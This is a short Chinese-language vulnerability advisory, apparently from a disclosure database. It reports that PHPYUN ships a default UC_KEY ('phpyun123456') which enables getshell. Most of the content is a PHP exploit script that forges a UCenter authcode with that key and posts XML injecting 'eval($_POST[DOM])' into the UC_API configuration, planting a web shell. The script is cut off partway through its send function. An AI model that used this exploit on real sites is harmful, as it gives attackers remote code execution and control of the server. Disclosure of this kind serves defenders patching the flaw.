PHPYUN设计缺陷导致轻易Getshell

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 简要描述: PHPYUN设计缺陷导致轻易Getshell ### 详细说明: #1 设计缺陷 phpyun集成了部分ucenter功能,引入了UC_KEY,且默认设置为"phpyun123456" ``` define("UC_KEY","phpyun123456"); ``` 你们难道不知道UC_KEY这个值的威力的多大?好吧 我就当你们不知道,详情请见 ``` [WooYun: Discuz的利用UC_KEY进行getshell](http://www.wooyun.org/bugs/wooyun-2014-048137) ``` ``` http://www.2cto.com/Article/201401/272274.html ``` #2 利用UC_KEY实现Getshell ``` <?php // 代码版权归原作者所有! $timestamp = time()+10*3600; $host="www.vulns.org"; $uc_key="phpyun123456"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://x\');eval($_POST[DOM]);//</item> </root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://x</item> </root>'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST https://images.seebug.org/upload/api/uc/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept:...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息